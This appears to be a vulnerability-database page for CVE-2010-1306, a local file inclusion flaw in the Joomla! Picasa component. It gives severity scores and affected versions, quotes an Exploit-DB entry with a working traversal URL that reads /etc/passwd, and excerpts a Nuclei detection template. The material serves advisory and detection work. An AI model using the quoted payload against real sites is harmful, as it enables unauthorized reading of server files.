CVE-2010-1306
published 2010-04-08CVE-2010-1306: Directory traversal vulnerability in the Picasa (com_joomlapicasa2) component 2.0 and 2.0.5 for Joomla! allows remote attackers to read arbitrary local files…
PriorityP349high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
15.72%
96.5th percentile
Directory traversal vulnerability in the Picasa (com_joomlapicasa2) component 2.0 and 2.0.5 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php. NOTE: some of these details are obtained from third party information.
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| roberto_aloi | com_joomlapicasa2 | — | — |
| roberto_aloi | com_joomlapicasa2 | — | — |
| roberto_aloi | com_joomlapicasa2 | — | — |
| roberto_aloi | com_joomlapicasa2 | — | — |
| roberto_aloi | com_joomlapicasa2 | — | — |
| roberto_aloi | com_joomlapicasa2 | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Joomla! Component Picasa 2.0 - Local File Inclusion
exploitdb·2010-04-04
CVE-2010-1306 Joomla! Component Picasa 2.0 - Local File Inclusion
Joomla! Component Picasa 2.0 - Local File Inclusion
---
# Exploit Title: Joomla Component Picasa 2.0 LFI Vulnerability
# Date: Monday, 05 April 2010
# Author: Vrs-hCk
# Software Link: http://prof3ta.netsons.org/
# Version: Joomla Component Picasa version 2.0
# Tested on:
# CVE :
# Code :
Title : Joomla Component Picasa 2.0 LFI Vulnerability
Software : com_joomlapicasa2 version 2.0
Vendor : http://prof3ta.netsons.org/
Date : Monday, 05 April 2010 (Indonesia)
Author : Vrs-hCk
Contact : ander[at]antisecurity.org
Blog : http://c0li.blogspot.com/
[+] Exploit
http://[site]/[path]/index.php?option=com_joomlapicasa2&controller=[LFI]
[+] PoC
http://localhost/index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%00
Greetz :
www.MainHack.net - www.ServerIsDown.org - www
Nuclei
Joomla! Component Picasa 2.0 - Local File Inclusion
nuclei·CVSS 7.5
CVE-2010-1306 [HIGH] Joomla! Component Picasa 2.0 - Local File Inclusion
Joomla! Component Picasa 2.0 - Local File Inclusion
A directory traversal vulnerability in the Picasa (com_joomlapicasa2) component 2.0 and 2.0.5 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
Template:
id: CVE-2010-1306
info:
name: Joomla! Component Picasa 2.0 - Local File Inclusion
author: daffainfo
severity: high
description: A directory traversal vulnerability in the Picasa (com_joomlapicasa2) component 2.0 and 2.0.5 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
remediation: Upgrade to the latest version to mitigate t
http://packetstormsecurity.org/1004-exploits/joomlapicasa-lfi.txthttp://secunia.com/advisories/39338http://www.exploit-db.com/exploits/12058http://www.securityfocus.com/bid/39200https://exchange.xforce.ibmcloud.com/vulnerabilities/57508http://packetstormsecurity.org/1004-exploits/joomlapicasa-lfi.txthttp://secunia.com/advisories/39338http://www.exploit-db.com/exploits/12058http://www.securityfocus.com/bid/39200https://exchange.xforce.ibmcloud.com/vulnerabilities/57508
2010-04-08
Published